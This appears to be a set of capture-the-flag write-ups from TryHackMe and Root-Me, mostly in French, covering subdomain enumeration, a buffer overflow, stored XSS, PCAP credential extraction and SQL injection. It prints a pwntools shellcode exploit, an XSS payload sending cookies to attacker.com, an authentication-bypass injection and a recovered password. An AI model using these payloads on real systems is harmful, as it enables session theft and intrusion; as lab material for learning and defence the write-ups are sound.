TryHackMe – TakeOver

Catégorie : Recon / Subdomain enumeration

Important points

This room is about subdomain enumeration. Add futurevera.thm in /etc/hosts. I am including all the steps I took to solve this machine whether it was fruitful or not.

Check the web page

What I noticed:

• Getting SSL error.
• No interesting directory.
• Nothing interesting in the source code.
• Nothing in .js files.
• Nothing in Certificate (at this stage).

Fuzzing for subdomains using ffuf (HTTP)

ffuf -u http://{MachineIp}/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -H 'Host: FUZZ.futurevera.thm' -fs {size}

This command gave me two subdomains. Both of them had a message on the screen saying: {subdomain}.futurevera.thm is only available via internal VPN.

Got nothing important while enumerating directories or files.

Enumerating new subdomains (HTTPS)

After trying different wordlists to fuzz the subdomain, I ran the same ffuf command but with https this time. It gave me two new subdomains.

Nothing in directory enumeration. Nothing important in source code either. But this time, there is something in View Certificate.

Flag

Take a look at the certificates for both the subdomains: you will see one more subdomain in the Subject Alt Names.

If you don't know how to do this (Firefox):

1. Click on the lock icon in the search bar with a warning sign.
2. Click on Connection not secure.
3. Click on More Information.
4. Click on View Certificate.

Add this new found subdomain in your /etc/hosts.

curl --head https://{subdomain}.futurevera.thm

Your flag will be in the Location header.

Done.

TryHackMe – Buffer Overflow 101

Catégorie : Binary Exploitation

Contexte

Introduction aux buffer overflows sur architecture x86. Le binaire vulnérable utilise des fonctions non sécurisées comme gets() et strcpy().

Analyse du binaire

Vérification des protections avec checksec :

$ checksec vuln
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:       No PIE

Exploitation

Calcul de l'offset et génération du payload :

from pwn import *

offset = 76
shellcode = asm(shellcraft.sh())
payload = shellcode + b'A' * (offset - len(shellcode)) + p32(0xffffd5b0)

p = process('./vuln')
p.sendline(payload)
p.interactive()

Conclusion

Les protections modernes (ASLR, NX, stack canaries) rendent ces attaques plus complexes mais pas impossibles. Toujours utiliser des fonctions sécurisées.

Root-Me – XSS Stored #1

Catégorie : Web Client

Contexte

Ce challenge présente une application web vulnérable aux attaques XSS stockées. L'objectif est de récupérer le cookie de l'administrateur via une injection JavaScript.

Reconnaissance

L'application dispose d'un formulaire de commentaires qui affiche les messages sans filtrage. Les entrées utilisateur sont directement insérées dans le DOM.

Exploitation

Payload utilisé pour exfiltrer le cookie :

<script>
document.location='http://attacker.com/steal?c='+document.cookie;
</script>

Impact & Conclusion

Cette vulnérabilité permet le vol de session administrateur. Mitigation : encoder les sorties HTML et implémenter une CSP stricte.

Analyse de trafic PCAP – Credentials leak

Catégorie : Forensics

Contexte

Un fichier PCAP contenant du trafic réseau suspect. L'objectif est d'extraire des credentials transmis en clair.

Analyse avec Wireshark

Filtrage du trafic HTTP pour identifier les requêtes POST :

http.request.method == "POST"

Identification d'une requête de login vers /api/auth avec les paramètres username et password visibles en clair.

Extraction

Credentials récupérés :

Username: admin
Password: Sup3rS3cr3t!2024

Conclusion

Toujours utiliser HTTPS pour les transmissions sensibles. Les protocoles en clair exposent les données à toute interception réseau.

Root-Me – SQL Injection

Catégorie : Web Server

Contexte

Une application web avec un formulaire de connexion vulnérable aux injections SQL. L'objectif est de contourner l'authentification et récupérer le flag.

Découverte de la vulnérabilité

Test avec une simple quote dans le champ username :

admin'

L'application retourne une erreur SQL, confirmant la vulnérabilité.

Exploitation

Payload classique pour bypass l'authentification :

' OR '1'='1' --

Cette injection transforme la requête SQL en une condition toujours vraie, permettant de se connecter sans mot de passe valide.

Conclusion

Toujours utiliser des requêtes préparées (prepared statements) pour éviter les injections SQL. Ne jamais concaténer directement les entrées utilisateur.